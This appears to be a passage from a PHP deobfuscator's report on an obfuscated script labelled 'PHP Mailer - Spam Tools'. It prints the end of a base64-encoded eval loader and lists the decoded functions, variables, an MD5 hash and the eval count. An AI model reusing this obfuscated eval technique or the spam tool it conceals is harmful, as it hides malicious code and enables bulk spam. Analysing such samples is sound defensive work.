F9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

Function Calls

strtr 1
ereg_replace 1
base64_decode 2

Variables

$_F index.php
$_X ?><?php /** * PHP Mailer - Spam Tools * @version : 3.0 ..

Stats

MD5 45d1e5ff2421b322094c4b6d2460d7d8
Eval Count 1
Decode Time 3712 ms